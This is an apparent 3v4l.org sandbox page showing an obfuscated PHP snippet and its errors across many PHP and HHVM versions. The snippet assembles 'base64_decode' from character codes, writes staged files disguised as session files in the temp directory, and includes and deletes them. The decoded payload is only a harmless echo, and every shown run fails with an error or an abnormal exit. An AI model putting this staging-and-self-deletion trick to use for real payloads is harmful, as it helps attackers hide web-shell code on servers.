3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php if(function_exists('phpversion')) $phpv=phpversion(); else $phpv=PHP_VERSION; if($phpv >= "5.2.1") $td = sys_get_temp_dir(); else $td = "/tmp"; $t1=$td.'/sess_'.md5(date("YmdH")); $t2=$td.'/sess_'.md5(date("YmdHs")); $t3=$td.'/sess_'.md5(date("YmdHsi")); $cntnt="ZWNobyAncmFkaSA6RCc7"; $b=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101); $hp=chr(60).chr(63).chr(112).chr(104).chr(112); $f=fopen($t1,"w"); fwrite($f, $hp.' $g=fopen("' . $t2 . '","w"); fwrite($g,"'.$hp.'"\' $h=fopen("' . $t3 . '","w"); fwrite($h,"<?php " . ' . $b . '("'.$cntnt.'") . ";"); fclose($h);\' ); fclose($g); ' ); fclose($f); include($t1); unlink($t1); include($t2); unlink($t2); include($t3); unlink($t3);
Output for 7.0.0 - 7.2.0
Parse error: syntax error, unexpected ''' (T_CONSTANT_ENCAPSED_STRING), expecting ',' or ')' in /tmp/sess_6b8b82df05617b13918bfce823bf3e46 on line 6
Process exited with code 255.
Output for hhvm-3.11.1, hhvm-3.13.2, hhvm-3.17.3
Fatal error: Uncaught Error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ')' in /tmp/sess_6b8b82df05617b13918bfce823bf3e46:3 Stack trace: #0 /in/cPSUp(35): include() #1 {main}
Process exited with code 255.
Output for hhvm-3.12.14, hhvm-3.15.4

Process exited with code 137.
Output for hhvm-3.10.1
Fatal error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ')' in /tmp/sess_6b8b82df05617b13918bfce823bf3e46 on line 3
Process exited with code 255.
Output for 5.5.0 - 5.6.30
Parse error: syntax error, unexpected ''' (T_CONSTANT_ENCAPSED_STRING) in /tmp/sess_6b8b82df05617b13918bfce823bf3e46 on line 6
Process exited with code 255.